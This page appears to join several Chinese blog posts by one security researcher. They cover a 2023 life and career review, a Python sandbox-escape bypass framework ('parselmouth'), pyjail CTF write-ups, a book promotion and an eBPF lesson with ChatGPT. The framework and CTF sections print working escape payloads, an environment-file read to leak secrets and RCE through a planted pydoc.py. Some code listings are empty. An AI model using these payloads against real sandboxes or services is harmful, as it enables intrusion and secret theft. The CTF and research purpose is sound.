2024 年元旦至今,每当我试图提笔写下 2023 年的年度总结时,心中总有一个包袱:我隐约能感觉到,这或许是自毕业以来,成长最大的一年。因此迟迟我不敢下笔 —— 我觉得总有一块最重要的拼图没有拼上。这样想着想着就过年了,反正都迟了,于是索性摆烂,等想清楚了再写。
这篇拖更了三个月的年度总结,现在我想是时候可以动笔了。
往期的总结分为 事业
和 生活
,从本期开始我想更加精确地分为 生活
、事业
与 技术学习
。我认为,生活始终是最重要的,你可以没有事业,不学习技术,但不能没有生活。
由于一些不可抗力,我和对象在 2023 年异地了小一年。异地恋的确非常考验两人的感情,因为线下见面成为了不那么容易做到的事情,而恰恰是这个原因,导致很多见面就能聊开的事情堆积演变成了持续的隔阂。于是在异地之初,我俩就约定每周五轮流跑去对方的城市,周日再回来。
不巧的是,也正是从这段时间开始,我的工作压力更大了,加上我们对北疆的风景一直非常向往,于是我俩下定决心在 2023 年国庆去北疆玩一趟。
恰逢旺季,但北疆之旅所花费的成本并没有想象中的高(包含机票、租车在内,人均 7k),但风景绝对超乎想象。恕我的文字功底和摄影能力有限,实在是准确无法描述出一路的风景与感受。这里只能尽力做一些描述和展示:
四人一车踩着地板油一路向北狂奔,好久不见人烟,正当我们昏昏欲睡的时候,拐过一个路口,眼前忽然出现一座巨大的雪山,安静地矗立在路的尽头
和对象一起在喀纳斯的森林中双排徒步,阳光穿透树林洒在我们身上松枝铺成的小路传来令人愉快的触感,清晨的薄雾沁人肺腑
雾气盘旋在山腰,蓝绿色的河流在金黄的画布上纵情奔腾,在喀纳斯著名的“三湾”,我们见到了有生以来见过的最美丽的秋景
还未从喀纳斯满山遍野的金黄中缓过神来,一座小屋便已出现在了山坡下,背靠着漫山遍野的秋景,零星几只牛羊在小屋旁的草地上安心地吃草
离开白哈巴之前,我们精心挑选了一片村外的草地,铺好野餐毯,抬起头发现,绿油油的草地,清澈冰冷的溪流,金黄的白桦树,白雪皑皑的雪山,依次出现在视线中
在禾木的一家饭馆吃完饭,坐在饭店后院的秋千上晒太阳,老板开朗的小女儿开心地和我们介绍狗家族的故事 —— 哪个是蛋黄,哪个又是旺财,六只大小肥瘦的狗子,她如数家珍,在压力喷薄的时代,我从未想过我会有这样的耐心去听一个小女孩喋喋不休地唠叨狗家族的故事
现在再看这些照片,心中依旧难掩激动之情。不得不说,北疆的后劲十足,以至于回杭之后,总觉得杭州的秋天不那么好看了。
现在想想,这也太疯狂了 —— 感情考验的 TOP2:异地与长途旅游,debuff 堆满了。但凡事总是有好又有坏的,不论是异地的环境还是长途奔波中带来的考验,都让我们之间关系中的隐藏问题提前暴露出来了,很庆幸,我们成功地通过了这些考验 —— 2023 年我们的感情居然是最为坚固的,这太真的神奇了。
于是在今年末尾,经历过种种事情,我们下定决心订了婚,水到渠成,的确,感觉很多事情冥冥之中已有注定。于是这便成为了 2023 年在生活中,完成的最为重要的一件事。
那自然,去北疆玩了 9 天就成了在生活中完成的第二重要的事情。
其他要再说的话,就是今年团建去了韩国济州岛,感受了一把发达国家的生活,是挺新奇的,但我感觉还没国内方便哈~也可能是济州岛本身的原因吧,感觉食材过于单一了,加上我不是很喜欢辣白菜那种味道,全程都是靠各种炸鸡撑过来的。
其他还再要说的话,就是流水账了,没有太多的变化。平时就是打打王者荣耀;有时候出门在当地景点拍拍照片;可能值得一提的就是今年终于下定决心灭门了佳能,换了索尼大法,嗯,索尼的确是 “罪恶滔天”(狗头。
最后,在生活总结篇的末尾,我要再次感谢我未来的夫人,在生活的各个方面属于是纯纯被她带飞了,躺平的感觉真好。
今年在职业发展方面,最重要的事情就是成功晋升到了下一级。可以说 23 年上半年,我基本上都把业余时间花在这上面了,没有其他时间分配给技术学习。晋升的成功固然令人惊喜,但我觉得更加令我影响深刻的经历是如何向别人证明你的成果。在现在看来,其实讲究的也是一个水到渠成,如果平时的确下了功夫,到最后要用的时候整理起来也比较轻松。当然,这一切也少不了领导和同事们的帮助,我要学的还有很多。
另外一个比较重要的就是,今年对可信纵深防御理论体系的理解更加深入了,可以说对这方面的认知这块基本上已经比较完善了。加上我感觉这个体系的理论和建设都是相对比较前沿的,也是为什么今年发了这篇文章:https://www.tr0y.wang/2023/11/27/可信纵深防御建设实践总结/
其他的就没有太多值得说的了。
我认为现在职业又到一个关键的节点了,下一步何去何从需要好好想想,遗憾的是我仍在探索,未能给出回答,希望 2024 年年度总结的时候,我能够回答这个问题。
今年在这方面的进展的确不如往年。可能值得一提的就是学了下 ebpf;还有要说就是今年参加了网鼎杯线下赛,认识了一些伙伴,对我来说也算一个比较不错的体验了。
回到文章开篇,我知道,找到那块最重要的拼图其实只差一个契机。
声明,我希望未来看到下面这些内容时,看到的是我现阶段真实的想法;个人观点,不建议参考 :)
最近公司组织了一个王者荣耀的内部比赛,我觉得有趣,就在部门内拉了一个 5 人小队参赛。令我没想到,本来实力挺不错的 5 个人凑在一起,居然被零封出局,小组赛 bo3,8 个队我们输了 16 把。就在最后一把打完的时候,小队定格在 0-16 的逆天战绩,突然让我对这个游戏有了新的理解,我甚至觉得我已经在一定程度上通关了这个游戏。
在刚开始玩这个游戏的时候,因为接触的就是对抗路(亚瑟),对抗路嘛就是激情四射,贴身肉搏 solo,谁喊队友就玩不起。因此我一度认为手法是最重要的,我对线能单杀,大家对线都能单杀,就能赢。后来发现,手法和自己的状态息息相关,且没有经济的话根本就秀不起来,还有段位上来之后,大家都有一定的手法,单杀越来越困难,这个时候如何捡垃圾刷钱就是非常重要的,有时候操作失误,高经济往往能救下一命,这个阶段我对这个游戏的理解就是:有钱就牛逼,于是我就去打野。再往后,我发现即使拼命刷钱,一旦后期失误一波,就总被翻盘,于是发现,哦,这是一个推塔游戏,如果想赢,就要去推塔,否则 k 再多的头都没用,于是我就开始转射手,学会如何运线压塔;再往后,我发现线越来越难运,你知道这是个推塔游戏,对面也知道,不会给你通过兵线运营获得磨塔的机会,这个时候全凭补刀、河蟹或者大小龙这种中立资源累积优势,滚雪球,温水煮青蛙获得胜利;再往后,我发现无论玩什么位置,打什么阵容,最重要的是心态,我认为这也是这个游戏(也可能是电子竞技)的终极。
小时候玩游戏,时常被大人们教育:你玩游戏玩得再厉害,也不会对你的现实生活产生影响,花那么多时间玩这个干嘛。现在看来这当然是一个非常错误观点,但如果以拿到某个电子竞技的冠军,或者打到头部名次可以当主播之类的为例子来反驳,说服力可能会有些不足 —— 毕竟这个难度对于普通人来说的确是太高了。对此,我现在有了一些不一样的看法。
回顾上面的理解经历,可以看到这与现实生活简直没有什么两样。刚毕业的大学生,尤其是技术相对出色的那一批,崇尚用技术解决一切问题,技术就是硬实力,在学校,我有技术就是牛逼;工作了几年要么开始慢慢变地现实(结婚买车买房),要么花花世界迷人眼欲望越来越高,总之对钱的需求越来越大,这个时候发现,技术好是好,但有钱更牛逼;再往后,发现自己赚了钱但为什么总是过不好生活?哦,原来赚钱是有上限的,但欲望无穷无尽,这个时候开始迷茫,回来找人生的目标,我活着到底为了什么?然后可能发现,嗯,我觉得我来这个世界上是为了开心地去体验各种各样的经历;这个时候发现这个人生的目标啊,实在是太大了,我该如何去实现它?随着年龄增长,明白最为安心、最为珍贵的体验反而是在每一个平凡的日子里包含的柴米油盐,于是从收拾垃圾桶旁散落的垃圾开始,决定从小事做起,慢慢达到终极的目标;再往后,决心开始反复,看着其他人的生活似乎就是过得更好,在自己平淡的日子里,什么是幸福?什么是快乐?在急躁、攀比、妒忌等心态中如何可以获得?最终,在经历完上述的阶段,发现心态在这一切之中润物细无声。
如果说前几年在玩饥荒的过程中,我深刻体验到了没有什么东西会是永恒的,教会了我如何正确地看待预期内预期外的变化;那么今年王者荣耀是在每一把被坑与带飞之间一次又一次地锻炼了我的心态。
今年最为重要的成长就是心态上的稳重。当亲密关系遭遇矛盾,是否可以做到搁置情绪争议,共同寻找解决办法?在做事业、生活的重要选择上,是否持续有勇气在一条困难重重的路上走下去?当在重要的选择上犯了傻,需要浪费多少人生才能走出来,不为过去的错误折磨自己?如何减少自我内耗,大胆地表达出自己的喜怒哀乐...
正如刚才所说,它润物细无声。
最后再简单回顾一下 2023 年:
中间穿插着技术学习(发了 3 篇技术文章),但整体来说这部分占比并不高。希望今年少打点王者,多点时间来看技术(笑
重读了一下 22 年的总结,23 年也算做到了预期:今年勇 —— 反正总比 22 年好一些吧?
敬自己一杯~
无尽征途漫漫
风暴如影随形
自从之前写了 souce
后,算是解决了绝大部分需要手搓 opcode 的情况;通过劫持 Python ast 的解析与生成就可以很方便地自动化进行 bypass,这个手段非常优雅。从那以后我就时不时在想似乎这个原理也可以用在 Python 沙箱逃逸上,这段时间终于下定决心开始抽空写一个 bypass 框架,这就是 parselmouth
我的目标是希望这个框架可以支持将类似 __import__('os').popen('whoami').read()
,根据规则转为诸如 getattr(getattr(__import__(ᶜhr(111) + ᶜhr(115)[::-1][::-1]), ᶜhr(112) + ᶜhr(111) + ᶜhr(112) + ᶜhr(101) + ᶜhr(110)[::-1][::-1])(ᶜhr(119) + ᶜhr(104) + ᶜhr(111) + ᶜhr(97) + ᶜhr(109) + ᶜhr(105)[::-1][::-1]), ᶜhr(114) + ᶜhr(101) + ᶜhr(97) + ᶜhr(100)[::-1][::-1])()
的 payload,这样就不需要人工进行一些无聊的翻译或者是转换了;再此基础上,期望保留较好的扩展性,用来在特定情况下编写自定义的一些 bypass 手段。
这里介绍一下主要的代码逻辑。如果你想自己动手写一个类似的框架,可以参考这里面的细节。
对于一段简单的 Python 代码来说,要做转换,最为直接的手段就是通过正则提取关键的代码然后填充到设定好的字符串中。但是这样在面对复杂嵌套的语句时就力不从心了,非常容易出现识别错误。
Python 的 ast 即抽象语法树,作为 Python 的官方库,ast 不但可以用来解析 Python 代码,还可以用来将抽象语法树还原成 Python 代码。在解析代码的时候可以做到 100% 与执行代码时是一个识别逻辑。通过翻阅 ast 的源码可知,类 NodeVisitor
定义了遍历语法树的方法 visit
,这样我们就可以通过继承 NodeVisitor
或者其子类来实现定制化的 Python 代码生成逻辑。
以获取属性的运算符 .
为例子,我们可以在继承 ast._Unparser
(用来生成 python 代码的类) 后写出下述代码:
1 |
|
其中 _by_raw
是 ast._Unparser
原本的代码生成方法,在发现不需要 bypass 的情况下可以直接使用原有的生成逻辑,这样可以提升效率,还可以避免强制进行 bypass 导致的成功率下降问题。最后 return
的语句中,通过传入 Attribute 专属的 bypass_funcs 进行 bypass 尝试。
生成一个 bypass 语句,本质上是对 Python 代码的生成逻辑进行 hack。
在 bypass_tools.Bypass_Attribute
中,我们对“获取属性”这个动作进行定制化:1
2
3
4
5
6
7
8
9
10
11
class Bypass_Attribute(_Bypass):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.node._value = [getattr(self.node, "value"), getattr(self.node, "attr")]
@recursion_protect
def by_getattr(self):
return self.P9H(
f"getattr({self.P9H(self.node._value[0]).visit()}, {repr(self.node._value[1])})",
).visit()
例如 payload 为 str.find
,我们就可以通过 getatt
来避免使用 .
其他类型的 bypass 逻辑是大同小异的,按照不同类型的语法树,根据手工 bypass 的经验来制定对应的 bypass 手法即可。
上面的代码中可以发现,by_getattr
return 的结果中又出现了 P9H
,这是因为由于处理 .
后会引入 getattr
,因此就需要一个递归的结构继续处理新生成的 payload。因此对于生成的 payload,需要重新调用我们的 bypass 函数进行处理,这样可以非常优雅地处理需要嵌套 bypass 的情况。
但显然,这里会出现无限递归的问题。本质上,但这个现象出现的时候,调用链里会出现重复的 bypass 尝试,因此为了解决这个问题,一个最简单的方式就是在执行 bypass 的时候,先获取当前的调用链,分析历史调用中是否出现过相同的 bypass 尝试(主要是方法所属的类、方法名称、方法的参数),如果有的话就返回 None,视为放弃这个 bypass 尝试。由于每个 bypass 函数都需要加上这个逻辑,还需要保持后续新增 bypass 函数的便捷性,那必然使用装饰器就是最好的选择:
1 |
|
非常优雅的方案。
此外,一个比较有趣的 bypass ast 的类型是数字。我实现了一个有趣的算法,这个算法的本质是解决:“给定一个目标数字、可用的运算符(+
、-
、*
)、可用的单个数字(0-9
中的某几个),求一个运算式使得结果等于目标数字”。
我认为这种计算式的最简单结构是 (left, op, right)
,因此我的思路是先确定 left,然后遍历 op 后算出需要的 right,在递归重新计算如何得出 right,以此类推。op 与数字的遍历顺序从大到小,这样可以迅速地逼近目标数字,从而缩短运算式整体的长度,从而尽可能缩短最终 payload 的长度。在具体的实现上,有很多坑需要解决,例如给定的目标数字是 1,可用数字是 9
、2
、0
,运算符是 -
、+
,如果不加以控制,非常容易出现无限递归:9 + 2 - 10
-> 9 + 2 + 2 - 12
... 这个问题可以通过判定与目标数字的距离来解决,我们的计算肯定是希望距离目标数字越来越近的(不过这样的确是会漏掉一些可能性)。以及一些无效的运算:9 + 0 - 8
-> 9 + 0 + 0 - 8
... 这类问题可以通过人工剪枝来解决。
最后,我发现我的算法在 left 是大数的情况下会有很大的性能问题。例如目标数字是 1000
,可用的数字是 8
,运算符为 +
,那么可以得出运算式:8 + 8 + 8 + 88 + 888
,观察这种情况可以得知,可用的数字可以由单个可用数组组合生成,这样即使只用 +
也可以非常迅速地逼近目标数字,但这个算法在可用数字较多的时候光是遍历所有组合都需要一段时间,并且先前设定的运算逻辑是先会计算 **
,这个运算也是比较慢的。因此在具体的实现上我并没有采用这种算法,取而代之是如果发现 right 可以由可用数字组成,那么就直接返回,这样在提高速度的同时也会更高效。
当然,由于最终的算式可能性比较多,最优解根据实际情况也有所不同(例如是否允许括号?如何实现全局最短的算式长度?...),虽然我实现的算法有一定的局限性,但是我认为过滤数字在实际场景中并不常见,所以应该是够用了。
我在写 parselmouth 的时候,更多是希望写出一个 bypass 框架,因为 Python 沙箱逃逸绕过的手法非常多,对应场景也比较多(如 python 原生的 eval 类型、exec 类型;以及像 mako 等等自定义部分语法的模板;还有 jinja2/flask 这种几乎全部自定义语法的模板)。因此这里会重点做下定制化开发的介绍。
以字符串 bypass 为例子,假设希望将 macr0phag3
转为自带 base64 解码语句 __import__('base64').b64decode(b'bWFjcjBwaGFnMw==')
,则可以给 bypass_tools.py
的 Bypass_String
新增一个方法,命名以 by_
开头:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18import parselmouth as p9h
import bypass_tools
@bypass_tools.recursion_protect
def by_base64(self):
return self.P9H(
f'__import__("base64").b64decode({__import__("base64").b64encode(self.node._value.encode())})'
).visit()
bypass_tools.Bypass_String.by_base64 = by_base64
bypass_tools.Bypass_String.by_base64.__qualname__ = "Bypass_String.by_base64"
p9h.BLACK_CHAR = ["mac", "::", 'by_char', "bytes", "chr", "dict"]
runner = p9h.P9H("'macr0phag3'", specify_bypass_map={"white": {"Bypass_String": ["by_base64"]}}, versbose=2)
result = runner.visit()
status, c_result = p9h.color_check(result)
print(status, c_result, result)
运行结果如下:
同理,如果你想修改自带的 bypass 函数,也是通过 bypass_tools.Bypass_String.by_base64 = by_base64
这样赋值去覆盖即可。
在 parselmouth.py
中,check 函数用于检查生成的 payload 的可用性:1
2
3
4
5
6
7def check(payload):
if isinstance(payload, ast.AST):
payload = ast.unparse(payload)
# self.cprint(f"检查是否命中黑名单: {payload}", level="debug")
return [i for i in BLACK_CHAR if i in str(payload)]
在实际的使用场景中,payload 往往需要通过网络请求的形式进行检查,例如目标是一个 web 应用,此时可能就需要通过 requests 来发送 payload,这个时候就可以继承 P9H
,然后覆盖掉 check
方法:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29import ast
import time
import requests
import parselmouth as p9h
def check(payload):
if isinstance(payload, ast.AST):
payload = ast.unparse(payload)
# self.cprint(f"检查是否命中黑名单: {payload}", level="debug")
result = requests.post(
"http://127.0.0.1:5000/challenge",
json={
"exp": payload,
}
).text
time.sleep(0.1) # 防止过快导致 DoS
if "hacker" in result:
return [result]
else:
return []
p9h.check = check
runner = p9h.P9H("__import__('os').popen('whoami').read()", versbose=2)
result = runner.visit()
status, c_result = p9h.color_check(result)
print(status, c_result, result)
测试用的 flask 代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route("/challenge", methods=["POST"])
def check_exp():
data = request.json
exp = str(data.get("exp"))
if exp is None:
return jsonify({"error": "Missing 'exp' parameter"}), 400
forbidden_chars = ["'", '"', ".", "popen"]
# 检查 'exp' 中是否含有不允许的字符
for char in forbidden_chars:
if char in exp:
return jsonify({"error": f"hacker!"}), 400
# 如果检查通过,则返回确认信息
return jsonify({"message": "Expression is valid"}), 200
if __name__ == "__main__":
app.run(debug=True)
结果如下:
python
-> 蛇
;bypass 沙箱
-> 逃离密室
;特殊的语法
-> 蛇能听懂的话
。这些跳跃的联想很容易关联到《哈利波特与密室》中频繁出现的 parselmouth
(蛇佬腔
)这似乎是第一个 Python 沙箱 bypass 框架
不确定有没有遗漏,好像一共是三道 python 题目,并且都是 pyjail 类型的。自从上次我写了那篇《Python 沙箱逃逸的通解探索之路》之后,感觉很多同类题目都可以秒了,似乎一直都没有更极限的题目出现了,这次不妨一起来看看这次强网杯会不会让人眼前一亮呢。
题目代码如下:
1 |
|
这道题常规的解法是比较简单的,一眼扫过去,基础 exp 的 open
不在过滤列表里,那当然是先尝试读一下当前目录、根目录、环境变量之类的看看有没有 flag 再说。至于回显嘛,由于我没实际在官方环境中测试,这个代码看起来像是可以直接 nc 过去做的,如果是这样的话,那利用报错或者是直接 print 结果其实都可以的。看了下网上的 wp,证明 flag 的确是在环境变量里,所以 exp 就是:{print(open("/proc/self/environ").read())}
。如果是在比赛的话,到这里就结束了,赶紧下一道吧。
但作为黑客,实现 RCE 是永远的诱惑。这道题莫非只能读文件么?
我们先来分析一下这里的限制条件:
(做的过程中发现出题人在写 blacklist_words
的时候,"getattr" "__import__",
之间漏了一个 ,
,这直接导致 blacklist_words 中没有 getattr
和 __import__
,不知道是不是故意的,不过这里我们就当这里有逗号好了。)
首先,由于 os.system
等内置模块的方法被劫持到 blacklist_fun_callback
了,所以即使我们 exp 中可以 import os
,拿到的 os.system
也依旧是 blacklist_fun_callback
,原因在于橘友们小学 5 年级就知道的 Python 模块导入的缓存机制。为了确保模块单例以及支持模块重用机制,在执行 import 的时候,如果模块是第一次导入,python 会在导入模块的同时把模块名称保存在 sys.modules
这个字典里;如果在导入模块的时候发现它已经在这个字典里了,就会直接返回 sys.modules
中模块对应的值。在这个缓存机制的影响下,题目中修改了众多内置模块的方法,比如 subprocess.Popen
,那就意味着后续所有代码中间接使用到的 subprocess.Popen
也会被劫持。例如,橘友们小学 5 年级就知道 help()
可以用来做 python 沙箱逃逸,原因是因为背后执行了 more
,在 more 里可以用 !
来执行任意命令,比如 !id
。但可能少为人知的是,help()
背后是 pydoc
,在 pydoc.py
中使用了 subprocess.Popen
或者 os.system
(win 平台)
如果要解决这个问题,最简单的方式就是删除 sys.modules
中的 subprocess
,然后重新 import 一次。
vars
等内置方法也被劫持到 blacklist_fun_callback
了。但这里与上面不同,这个修改并不会影响其他模块的 vars。因为 python 查找变量的顺序是 LEGB 法则,因此 vars 变量的顺序是先从本地命名空间开始,然后是包含它的模块的命名空间,最后是内置命名空间。由于其他模块中没有局部或模块级别的 vars 定义,所以它们内部会使用 __builtins__
中的原始 vars 函数。如果我们想对内置函数做与上面相同的劫持,应该使用 __builtins__.vars = blacklist_fun_callback
。
如果想在当前上下文中恢复这些内置函数,只需要清空 locals()
或者 globals()
即可(这里它们是一个东西,因为我们的 exp 是在模块层级上执行的,因此 locals()
和 globals()
是同一个字典),这样一来,python 按照 LEGB 法则就会找到 B 的 vars。
这些相对比较常规:
blacklist_words
的所有关键字eval
不能出现在 exp 里我们注意到代码中 eval(f"f'{input_code}'")
使用了两层 f-string,不但本身可以直接执行任意代码,也可以通过单引号来进行代码注入。这就意味着直接通过 {eval("1+1")}
来执行任意代码,但由于 blacklist_words 的限制,所以通常会想到用 Unicode 变量名,但是 while 里做了限制,此路不通;还有就是搞一个字符串出来做分隔,例如 f'{ev''al("1+1")}'
,但这也有新的问题,我们为了生成 eval,又加入了 f-string,而 f-string 中如果用到 {}
,则字符串必须是连续的,例如 f'{1*' + f'1}'
是会报错的。
加上其他条件的严格限制(尤其是长度和对方法进行劫持),常规沙箱逃逸的 payload 均宣告出局。同时,我也用之前写的自动化挖掘工具跑了一下,发现的确找不到:
到这里就应该换个思路了。
虽然我们没有办法直接 import,但是通过执行内置的一些函数可以实现间接执行 import。上面提到,help()
由于 subprocess.Popen
被劫持导致无法正常执行,其实这里我们也可以用这个思路,经过代码分析,在 python 的 /lib/python3.9/_sitebuiltins.py
中发现有 import pydoc
:
而 open 又不受限制,这就意味我们只需要在执行目录下创建一个 pydoc.py
,往里面写要执行的代码即可实现任意代码执行,也就意味着实现了 RCE:
1 |
|
pydoc.py
写入完毕之后,再次运行题目代码,只需要输入 {help()}
即可执行设定好的代码:
至此,我们实现了 RCE。至于 pydoc.py
内容怎么写,玩法就很多了,这里不展开了。
如果 open
也无法使用呢?
由于题目中使用了 while
,因此 eval 生成的值又会被赋给 input_code 重新参与 eval,那如果我们在第一轮循环中只要操作得当,就可以用一行输入来影响第二轮循环中 while 的判断,同时把最终 exp 传递给第二轮循环的 eval。
"{" in input_code and "}" in input_code
input_code.isascii()
my_filter(input_code)
"eval" not in input_code
len(input_code) < 650
我们先来分析一下:
.__contains__
)由于是由 Python 解释器在底层实现的,因此是不允许修改的。my_filter
、len
都可以覆盖,需要一个参数,并且返回值必须为 True所以,在第一轮的 exp 里我们需要把 globals()
清空,然后再把 my_filter
加上,最后利用题目中的 eval 来返回第二轮的 exp。那么问题来了,第二轮的 exp 应该是什么呢?
在第二轮的时候,经过第一轮的 eval,就只需要满足条件 1、2、4 即可,并且由于我们清空了 globals()
,导致内置函数都恢复了,可谓是一箭双雕。这样我们就可以用 exec(input())
来执行任意代码了。
由于第一轮 eval 必须返回字符串(主要是条件 2 的限制),所以我们可以用一个列表之类的东西来同时执行代码和返回需要的 exp(这个技巧其实之前也介绍过了):
1 |
|
蛮吊蛮吊,但是长度太长了,81 个字符,距离 64 个字符还有点距离,因此我们尝试来缩短长度。
globals()
与 locals()
在这里是等价的,但后者少一个字符,换!"{ex""ec(in""put())}"
可以换成 {"{break""point()}"}
or
于是可以得到一个长度为 74、73 的 exp:1
2
3
4
5
6
7
8
9
10
11
12
13'''
{
locals().clear() or
locals().update({"my_filter": id}) or
"{break""point()}"
}
'''
# len == 74
{locals().clear()or locals().update({"my_filter":id})or"{break""point()}"}
# len == 73
{",break""point()#{}",locals().clear(),locals().update({"my_filter":id})}
感觉这个长度已经是极限了。然后我突然意识到,出题人为了避免自身代码受到影响,并没有劫持所有高危的内置函数,比如 eval
,所以我又搞了个符合长度要求但是不满足条件的 exp:{["{ev""al(print(1))}",locals().update({"my_filter":id})][0]}
,因为第二轮 exp 中会出现 eval
,而出题人在 while
里特别关照了 eval
。那么还有哪些内置函数,出题人没有为了保障题目自身不出问题而没有劫持呢?答案就是 input()
。
在第二轮里我们可以通过 input 来引入额外的输入,输入的时候再引入 {}
,从而通过内层的 f-string 以及配合外层的 eval 进行代码执行。这样第二轮执行的原型为:
继续倒推回去第一轮,由于 input 没有被劫持,所以连 locals().clear()
也可以省略,因此 exp 长度就可以大幅缩减:
1 |
|
长度仅为 50!蛮吊蛮吊。
至此,我们不用写文件,也可以实现任意命令执行。
肉眼扫了下,好像和原来的没啥大区别。经过 diff 发现,作者修复了缺少逗号的问题:
但别的都没变。所以我猜测出题人这里可能对 flag 的位置做了调整,从环境变量中移动到其他未知文件名的文件去了。那这里还是要 rce 嘛,上面已经实现了,哈哈哈,所以这里就不再看了。
题目代码:
1 |
|
老规矩先分析下限制:
"__"
不能出现在代码里BAD_ATS
exec
的第二个参数,将代码执行的 globals()
重置为只有个 __builtins__
,并将具体的内置方法指定为 BUILTINS
的值第一个条件有绕过的可能性,用 Unicode 字符 __
。第二个条件是无法正面绕过的,因为 ast 本身就是 python 执行过程中的中间产物,只能说看看有没有出题人没覆盖到的 ast 节点然后再利用;第三个条件,如果可以访问到非当前模块的命名空间,就可以拿到正常的内置方法了,但是必须的获取属性,或者用 Subscript 之类做替代,但这都被禁用了。。。
所以常规的沙箱逃逸 exp 可以说是都被堵死了。
翻阅了下官方文档:https://docs.python.org/zh-cn/3/library/ast.html
看起来除了 match 相关的语法之外,没有其他能用的东西了。但是这个是在 py3.10 中引入的,我不确定大家做题的时候出题人是否有提示所用的 python 版本,我这没有环境尝试所以也判断不了,这里权当出题人是这么出的吧。
根据 pep 里的示例 https://peps.python.org/pep-0636/#abstract
可以得知两个关键的知识点:
通过知识点 1,就可以获取参数了!比如 object.__subclasses__
就可以通过
1 |
|
来获取。以此类推,那这题就变成了常规的沙箱逃逸了。由于出题人限制了代码长度,因此我们可以用 dibber 来找一个比较短的继承链,比如:
那么对于 exp object.__subclasses__()[122].append.__globals__['__builtins__']
就可以变形为:
1 |
|
进而实现命令执行:
完结撒花。这三道题的整体难度不算很高。
这应该是今年最后一篇文章了时间过得真快!提前祝橘友们元旦快乐了嗷
...当下黑客甲与大军分别后,不过一日便赶到城门下。但见城墙高耸,内似有珠光之气无数,城门紧闭,墙垛上守军枕戈待旦;城门前人马齐备,严阵以待,阵列分明;号声四起,四面八方只听得兵戈碰撞操练和马嘶之声。黑客甲止步于城门前,一寸不敢不再前,但既抵城下,又缺盘缠,哪有空手而归之理?正思间,眼见从城门中施施行出一长须老者,立于黑客甲身前,忽左手攒握发劲,点住黑客甲百会穴,好似要将他钉在地上一般。
长须老者捋须笑曰:“此乃网商银行众多分城之一,贸然攻之,恐非好事。”
黑客甲动弹不得,又气又惊,曰:“何以见得?”
长须老者曰:“自互联网兴起以来,金融之道亦随之变革。银行,本乃积金之地,亦须转型,化为数银,运资于云端。今有网商银行,于数字化浪潮之尖立足,不设肉身网点,惟依云端运算,天下交易,皆可指掌间完成。然,江湖险恶,千金数据流转于无形之网,虽利于便民,却亦潜藏无尽攻击风险。黑客潜藏于无形,伺机而动,试图窥探盗取龙脉宝藏,如非得万全之策,则使之如入无人之境矣,此数银之大忌也。
故此,网商银行,洞悉风险之所在,悉心筹措,聚诸智以应对未然之患。网商之安全体系,非一日之功,乃是积年累月之成。书内载有五大功法,首为默认安全风险治理,如同兵法之布防,掌握先机;二为可信纵深防御,犹如人体免疫,辨识敌我,无懈可击;三为全局威胁感知,持戒备之心,审时度势,应对迅捷;四为红蓝攻防,实操练兵,日臻完善;五为安全数智化,机器智能辅佐,效率质量双全。此秘籍各回皆是精心设计,层层递进,环环相扣,终铸就百炼成钢之果。
江湖异动,风起云涌之际,亦有英雄本色。网商银行一心一意,秉承“守护金融底线”使命,修炼内功,锤炼外防。今安全部将其多年沉淀之智慧与经验,融汇于此秘籍之中,以期启发天下同业,共筑金融长城。”
长须老者言毕,化为一龙飞天,其声于空明中回荡:“此等汤池铁城,为金银财宝亡其身者擢发莫数,汝速逃,吾归也”,黑客甲顿觉穴位通畅,闻此言,脚下运劲,弃剑逃之...
看了这么精彩的故事,不准备来一本吗?
预售链接:https://item.jd.com/14316174.html
欢迎大家多多转发、购买支持!
绝对物超所值
也欢迎联系我们进行技术交流噢!
这三点一结合,我就在想是不是可以来个《梦回大学时光》场景模拟:假装我选了一门《ebpf 选修课》,这门课的老师是 chatgpt4.0,然后平时我都没去上课(像极了今年都没咋学习...);现在老师布置了一个大作业:“TOA 伪造”,要求一周内上交,占分数期末成绩的 50%...
卧槽紧张起来了,汗流浃背了吧老弟。
话不多说马上开始,ddl 是第一生产力(算了要不先开把王者?)
需要说明的是,在开始学习之前,我对 ebpf 一窍不通,也从未使用 gpt 进行过这样的学习,因此,“什么是 ebpf”,这个是我问 gpt 的第一个问题:
1 |
|
看完这一坨大的,我的总结就是 “内核的切面模块”。
哎呀说了这么多,赶紧教我核心知识点,心急要吃热豆腐咯,但面对老师,还是要客气点:“假设你是一个 ebpf 专家,请教会我使用 ebpf”1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43作为一个eBPF专家,我会按照以下步骤来教授您使用eBPF:
1. 理解eBPF的基本概念
在开始编写eBPF程序之前,您应该对以下概念有所了解:
eBPF程序类型:eBPF有不同类型的程序,例如XDP用于网络数据包处理,kprobes用于内核函数跟踪,uprobes用于用户空间程序跟踪等。
eBPF Map:用于在eBPF程序和用户空间程序之间共享数据的主要数据结构。
eBPF Loader:用户空间工具,用于加载和附加eBPF程序到内核。
eBPF Verifier:内核中的组件,确保eBPF程序的安全性和合法性。
2. 设置开发环境
安装必要的工具链,例如Clang/LLVM和bcc或者bpftrace。例如,在Debian/Ubuntu系统上,您可以使用以下命令:
sudo apt-get install clang llvm libelf-dev gcc make iproute2 bpfcc-tools linux-headers-$(uname -r)
3. 编写eBPF程序
使用C语言编写eBPF程序。这些程序通常包括两部分:eBPF程序本身和一个用户空间程序来加载eBPF程序进内核。例如,下面是一个简单的eBPF程序的样板:
#include <uapi/linux/bpf.h>
#include <uapi/linux/ptrace.h>
BPF_PROG("kprobe/sys_clone", int, handle_sys_clone)
{
bpf_trace_printk("sys_clone called\\n");
return 0;
}
4. 编译eBPF程序
使用Clang将您的eBPF程序编译成eBPF字节码。例如:
clang -O2 -emit-llvm -c my_ebpf_program.c -o - | llc -march=bpf -filetype=obj -o my_ebpf_program.o
5. 加载eBPF程序
使用eBPF Loader(如ip,tc,或bpftool)将编译好的eBPF程序加载到内核中。对于某些高级用法,您也可以使用bcc或bpftrace工具,这些工具可以简化编译和加载的过程。
6. 观察和调试
一旦eBPF程序被加载,您可以观察其行为。您可以使用bpftrace或bpftool等工具来查看Map中的数据,或者使用trace_printk来输出调试信息。
